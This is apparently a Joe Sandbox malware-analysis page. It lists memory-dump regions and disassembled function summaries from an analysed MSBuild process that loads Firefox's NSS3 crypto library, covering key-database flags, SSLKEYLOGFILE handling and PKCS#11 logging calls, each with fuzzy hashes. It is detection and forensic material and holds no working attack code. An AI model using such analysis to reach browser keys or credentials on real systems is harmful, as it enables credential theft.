Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Util$Arena$Alloc_$CopyItem_$AlgorithmAllocateArena_EncodeFindInteger_Tag_Value$ContentCriticalDestroyEnterErrorFreeInfoInitLockMark_PoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1766420342-0
Opcode ID: e82353e4bb505f1f2201bde65c7d1a7f9a4ec0d19ac7e1dc2c8937375b8ebae7
Instruction ID: 9a2f3c0d98e1d4406be1068fe91c60fd4eeb407d1392b700eea8689eb6ae2ee4
Opcode Fuzzy Hash: e82353e4bb505f1f2201bde65c7d1a7f9a4ec0d19ac7e1dc2c8937375b8ebae7
Instruction Fuzzy Hash: 59B1B1B5E003069FEB00DF65DC81BAA77B5BF58308F124125EA08A7751FB71E994CBA1

Function 6CCB6CD0 Relevance: 30.3, APIs: 20, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CCB6910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CCB6943
Part of subcall function 6CCB6910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CCB6957
Part of subcall function 6CCB6910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CCB6972
Part of subcall function 6CCB6910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CCB6983
Part of subcall function 6CCB6910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CCB69AA
Part of subcall function 6CCB6910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CCB69BE
Part of subcall function 6CCB6910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CCB69D2
Part of subcall function 6CCB6910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CCB69DF
Part of subcall function 6CCB6910: NSSUTIL_ArgStrip.NSS3(?), ref: 6CCB6A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CCB6D8C
free.MOZGLUE(00000000), ref: 6CCB6DC5
free.MOZGLUE(?), ref: 6CCB6DD6
free.MOZGLUE(?), ref: 6CCB6DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CCB6E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CCB6E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CCB6E72
free.MOZGLUE(?), ref: 6CCB6EA7
free.MOZGLUE(?), ref: 6CCB6EC4
free.MOZGLUE(?), ref: 6CCB6ED5
free.MOZGLUE(00000000), ref: 6CCB6EE3
free.MOZGLUE(?), ref: 6CCB6EF4
free.MOZGLUE(?), ref: 6CCB6F08
free.MOZGLUE(00000000), ref: 6CCB6F35
free.MOZGLUE(?), ref: 6CCB6F44
free.MOZGLUE(?), ref: 6CCB6F5B
free.MOZGLUE(00000000), ref: 6CCB6F65

Part of subcall function 6CCB6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CCB781D,00000000,6CCABE2C,?,6CCB6B1D,?,?,?,?,00000000,00000000,6CCB781D), ref: 6CCB6C40
Part of subcall function 6CCB6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CCB781D,?,6CCABE2C,?), ref: 6CCB6C58
Part of subcall function 6CCB6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CCB781D), ref: 6CCB6C6F
Part of subcall function 6CCB6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CCB6C84
Part of subcall function 6CCB6C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CCB6C96
Part of subcall function 6CCB6C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CCB6CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CCB6F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CCB6FC5
PK11_GetInternalKeySlot.NSS3 ref: 6CCB6FF4

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID:
API String ID: 1304971872-0
Opcode ID: 8817fa30b47fabb7fc8ccf16f86f18aae7ffb2c563060adac36f88d2b5193e26
Instruction ID: 8b4083b8a24130e75210fd2d7a6956992c5515124fa8cf4177f898a8d56850d1
Opcode Fuzzy Hash: 8817fa30b47fabb7fc8ccf16f86f18aae7ffb2c563060adac36f88d2b5193e26
Instruction Fuzzy Hash: 40B15CB1E016599BEF04DBE6D885B9EBBB8BF05348F140024E915F7A40F731E915CBA1

Function 6CCB4C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CCB4C4C
EnterCriticalSection.KERNEL32(?), ref: 6CCB4C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CCB4CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CCB4CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CCB4CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCB4D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCB4D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CCB4DB7

Part of subcall function 6CD1DD70: TlsGetValue.KERNEL32 ref: 6CD1DD8C
Part of subcall function 6CD1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CD1DDB4

Part of subcall function 6CC607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CBF204A), ref: 6CC607AD
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBF204A), ref: 6CC607CD
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBF204A), ref: 6CC607D6
Part of subcall function 6CC607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CBF204A), ref: 6CC607E4
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,6CBF204A), ref: 6CC60864
Part of subcall function 6CC607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CC60880
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,?,6CBF204A), ref: 6CC608CB
Part of subcall function 6CC607A0: TlsGetValue.KERNEL32(?,?,6CBF204A), ref: 6CC608D7
Part of subcall function 6CC607A0: TlsGetValue.KERNEL32(?,?,6CBF204A), ref: 6CC608FB

TlsGetValue.KERNEL32 ref: 6CCB4DD7
EnterCriticalSection.KERNEL32(?), ref: 6CCB4DEC
PR_Unlock.NSS3(?), ref: 6CCB4E1B
PR_SetError.NSS3(00000000,00000000), ref: 6CCB4E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCB4E5A
PR_SetError.NSS3(00000000,00000000), ref: 6CCB4E71
free.MOZGLUE(00000000), ref: 6CCB4E7A
PR_Unlock.NSS3(?), ref: 6CCB4EA2
TlsGetValue.KERNEL32 ref: 6CCB4EC1
EnterCriticalSection.KERNEL32(?), ref: 6CCB4ED6
PR_Unlock.NSS3(?), ref: 6CCB4F01
free.MOZGLUE(00000000), ref: 6CCB4F2A

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: dc1f4cd1aa8df171605e22c20c27363ed84299bb2373c4519fcb476be936382b
Instruction ID: 111647fa1a04d675d24a4a19b7d5bb1acdfc4ccc23dbc92c3f9ddaa6464ed050
Opcode Fuzzy Hash: dc1f4cd1aa8df171605e22c20c27363ed84299bb2373c4519fcb476be936382b
Instruction Fuzzy Hash: AFB1F375E042069FEB01DFA8D884BAAB7B8BF45318F044128EE15A7B11F734E965CBD1

Function 6CD06E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6CD06BF7), ref: 6CD06EB6

Part of subcall function 6CC61240: TlsGetValue.KERNEL32(00000040,?,6CC6116C,NSPR_LOG_MODULES), ref: 6CC61267
Part of subcall function 6CC61240: EnterCriticalSection.KERNEL32(?,?,?,6CC6116C,NSPR_LOG_MODULES), ref: 6CC6127C
Part of subcall function 6CC61240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CC6116C,NSPR_LOG_MODULES), ref: 6CC61291
Part of subcall function 6CC61240: PR_Unlock.NSS3(?,?,?,?,6CC6116C,NSPR_LOG_MODULES), ref: 6CC612A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6CDAFC0A,6CD06BF7), ref: 6CD06ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CD06EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6CD06EFC
PR_NewLock.NSS3 ref: 6CD06F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD06F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6CD06BF7), ref: 6CD06F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6CD06BF7), ref: 6CD06F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6CD06BF7), ref: 6CD06FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6CD06BF7), ref: 6CD06FFD

Strings

NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6CD06F4F
SSLKEYLOGFILE, xrefs: 6CD06EB1
SSLFORCELOCKS, xrefs: 6CD06F2B
# SSL/TLS secrets log file, generated by NSS, xrefs: 6CD06EF7
NSS_SSL_CBC_RANDOM_IV, xrefs: 6CD06FF8
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6CD06FDB

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 6e2ead44610036a20cff7cb05204a70feaa0150014a22aed3d6a718eab8f6ae1
Instruction ID: 55d0d02273762ac479ef34fdf4ec1c8a8aa1dfe28ff62c99ea9f88f24fe9363a
Opcode Fuzzy Hash: 6e2ead44610036a20cff7cb05204a70feaa0150014a22aed3d6a718eab8f6ae1
Instruction Fuzzy Hash: 6AA104B2F5598196F7104F3CC80178837A6AB9336AF59436AEA71CBEF4DB35B4818341

Function 6CCA8820 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptVerifyUpdate), ref: 6CCA8846
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CCA8874
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CCA8883

Part of subcall function 6CD8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CCA8899
PR_LogPrint.NSS3( pEncryptedPart = 0x%p,?), ref: 6CCA88BA
PR_LogPrint.NSS3( ulEncryptedPartLen = %d,?), ref: 6CCA88D3
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CCA88EC
PR_LogPrint.NSS3( pulPartLen = 0x%p,?), ref: 6CCA8907
PR_LogPrint.NSS3( *pulPartLen = 0x%x,?), ref: 6CCA8979

Strings

ulEncryptedPartLen = %d, xrefs: 6CCA88CE
pulPartLen = 0x%p, xrefs: 6CCA8902
pEncryptedPart = 0x%p, xrefs: 6CCA88B5
pPart = 0x%p, xrefs: 6CCA88E7
C_DecryptVerifyUpdate, xrefs: 6CCA8841
hSession = 0x%x, xrefs: 6CCA885E, 6CCA886E
*pulPartLen = 0x%x, xrefs: 6CCA8974
(CK_INVALID_HANDLE), xrefs: 6CCA887C

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulPartLen = 0x%x$ hSession = 0x%x$ pEncryptedPart = 0x%p$ pPart = 0x%p$ pulPartLen = 0x%p$ ulEncryptedPartLen = %d$ (CK_INVALID_HANDLE)$C_DecryptVerifyUpdate
API String ID: 1003633598-2764998763
Opcode ID: c751d0aa47f704873e00511d60359b2097a6410107d86ff61bc8fde7a6b9b495
Instruction ID: 145b002998b3b10a78aca117a6a0a3490d7aee73b38ac4ca3ec9682a088bc254
Opcode Fuzzy Hash: c751d0aa47f704873e00511d60359b2097a6410107d86ff61bc8fde7a6b9b495
Instruction Fuzzy Hash: 07411A35A02145BFFB00DF94DD4CE8A7775EB4631CF098062E90867A61E731B819CBE2

Function 6CCA6D60 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6CCA6D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CCA6DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CCA6DC3

Part of subcall function 6CD8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CCA6DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CCA6DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CCA6E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6CCA6E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6CCA6E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6CCA6EB9

Strings

pDigest = 0x%p, xrefs: 6CCA6E27
ulDataLen = %d, xrefs: 6CCA6E0E
*pulDigestLen = 0x%x, xrefs: 6CCA6EB4
pData = 0x%p, xrefs: 6CCA6DF5
pulDigestLen = 0x%p, xrefs: 6CCA6E42
C_Digest, xrefs: 6CCA6D81
hSession = 0x%x, xrefs: 6CCA6D9E, 6CCA6DAE
(CK_INVALID_HANDLE), xrefs: 6CCA6DBC

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest
API String ID: 1003633598-2270781106
Opcode ID: 4b48c041a79c0f26b26f97cb0d80d5e60c5a57c29da2ce2234222c68024ce2e3
Instruction ID: ce06d7cef01a56bec55f1bd72f14a0496be887fbe260863ef98c432d2bb25896
Opcode Fuzzy Hash: 4b48c041a79c0f26b26f97cb0d80d5e60c5a57c29da2ce2234222c68024ce2e3
Instruction Fuzzy Hash: 9941FA35A02115BFEB00DF94DD4CF8A7BB5AB4674CF098055E90897A21EB31BC09CBE1

Function 6CCA6960 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptUpdate), ref: 6CCA6986
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CCA69B4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CCA69C3

Part of subcall function 6CD8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CCA69D9
PR_LogPrint.NSS3( pEncryptedPart = 0x%p,?), ref: 6CCA69FA
PR_LogPrint.NSS3( ulEncryptedPartLen = %d,?), ref: 6CCA6A13
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CCA6A2C
PR_LogPrint.NSS3( pulPartLen = 0x%p,?), ref: 6CCA6A47
PR_LogPrint.NSS3( *pulPartLen = 0x%x,?), ref: 6CCA6AB9

Strings

ulEncryptedPartLen = %d, xrefs: 6CCA6A0E
pulPartLen = 0x%p, xrefs: 6CCA6A42
C_DecryptUpdate, xrefs: 6CCA6981
pEncryptedPart = 0x%p, xrefs: 6CCA69F5
pPart = 0x%p, xrefs: 6CCA6A27
hSession = 0x%x, xrefs: 6CCA699E, 6CCA69AE
*pulPartLen = 0x%x, xrefs: 6CCA6AB4
(CK_INVALID_HANDLE), xrefs: 6CCA69BC

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulPartLen = 0x%x$ hSession = 0x%x$ pEncryptedPart = 0x%p$ pPart = 0x%p$ pulPartLen = 0x%p$ ulEncryptedPartLen = %d$ (CK_INVALID_HANDLE)$C_DecryptUpdate
API String ID: 1003633598-2105479268
Opcode ID: 607d44c3cc7e409d2a81c03d293ffd390860fcc85a1d11b1a5ebf6069aeed1ad
Instruction ID: beeb95882d0bf3ecbaf63ce2f9f8bcad12a3c9eab67aca29a193b4beb940c537
Opcode Fuzzy Hash: 607d44c3cc7e409d2a81c03d293ffd390860fcc85a1d11b1a5ebf6069aeed1ad
Instruction Fuzzy Hash: D641C835A02115BFEB00DF94DD4CB4A7BB9EB4635DF098055E90897661EB30BC49CBA1

Function 6CD028C0 Relevance: 27.2, APIs: 18, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 6CD05B40: PR_GetIdentitiesLayer.NSS3 ref: 6CD05B56

TlsGetValue.KERNEL32 ref: 6CD0290A
EnterCriticalSection.KERNEL32(00000001), ref: 6CD0291E
TlsGetValue.KERNEL32 ref: 6CD02937
EnterCriticalSection.KERNEL32(00000001), ref: 6CD0294B
PR_EnterMonitor.NSS3(?), ref: 6CD02966
PR_EnterMonitor.NSS3(?), ref: 6CD029AC
PR_ExitMonitor.NSS3(?), ref: 6CD029D1
PR_EnterMonitor.NSS3(?), ref: 6CD029F0
PR_EnterMonitor.NSS3(?), ref: 6CD02A15
PR_EnterMonitor.NSS3(?), ref: 6CD02A37
PR_ExitMonitor.NSS3(?), ref: 6CD02A61
PR_ExitMonitor.NSS3(?), ref: 6CD02A78
PR_ExitMonitor.NSS3(?), ref: 6CD02A8F
PR_ExitMonitor.NSS3(?), ref: 6CD02AA6

Part of subcall function 6CD39440: TlsGetValue.KERNEL32 ref: 6CD3945B
Part of subcall function 6CD39440: TlsGetValue.KERNEL32 ref: 6CD39479
Part of subcall function 6CD39440: EnterCriticalSection.KERNEL32 ref: 6CD39495
Part of subcall function 6CD39440: TlsGetValue.KERNEL32 ref: 6CD394E4
Part of subcall function 6CD39440: TlsGetValue.KERNEL32 ref: 6CD39532
Part of subcall function 6CD39440: LeaveCriticalSection.KERNEL32 ref: 6CD3955D

PK11_HPKE_DestroyContext.NSS3(?,00000001), ref: 6CD02AF9
free.MOZGLUE(?), ref: 6CD02B16
PR_Unlock.NSS3(?), ref: 6CD02B6D
PR_Unlock.NSS3(?), ref: 6CD02B80

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Monitor$Enter$Value$Exit$CriticalSection$Unlock$ContextDestroyIdentitiesK11_LayerLeavefree
String ID:
API String ID: 2841089016-0
Opcode ID: 0e007ad28ef842d23cd61c38e0419abb51ceeb12f7c88267b0545525860f5b32
Instruction ID: 366a37af09d631aebe9c835138e23f23c99d1fe3faea07f24b042bb5635c77e0
Opcode Fuzzy Hash: 0e007ad28ef842d23cd61c38e0419abb51ceeb12f7c88267b0545525860f5b32
Instruction Fuzzy Hash: B081C5B1A01B019BEB209F39EC457D7B7E9AF0530CF044929E95AC7B21EB31E519CB91

Function 6CCA4CD0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6CCA4CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CCA4D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CCA4D37

Part of subcall function 6CD8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CCA4D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CCA4D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CCA4D8A
PR_LogPrint.NSS3(?,00000000), ref: 6CCA4DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6CCA4DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6CCA4E20

Strings

C_GetObjectSize, xrefs: 6CCA4CEE
hObject = 0x%x, xrefs: 6CCA4D65, 6CCA4D75
pulSize = 0x%p, xrefs: 6CCA4DB7
hSession = 0x%x, xrefs: 6CCA4D12, 6CCA4D22
(CK_INVALID_HANDLE), xrefs: 6CCA4D30, 6CCA4D83
*pulSize = 0x%x, xrefs: 6CCA4E1B

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize
API String ID: 1003633598-3553622718
Opcode ID: 5c76611f095f97caca0071a636e4fb7cec4e40c512a091b1e2f4fa350e4f3ce8
Instruction ID: a6757462720f7ec548c537fed7c255fd738e0f280848b17252880b21b01a2752
Opcode Fuzzy Hash: 5c76611f095f97caca0071a636e4fb7cec4e40c512a091b1e2f4fa350e4f3ce8
Instruction Fuzzy Hash: E341E675E02105BFE700DF94DD8CF6A7779EB4634DF048065E9086BA61EB30AC49CBA2

Function 6CCAA9A0 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptMessageBegin), ref: 6CCAA9C6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CCAA9F4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CCAAA03

Part of subcall function 6CD8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CCAAA19
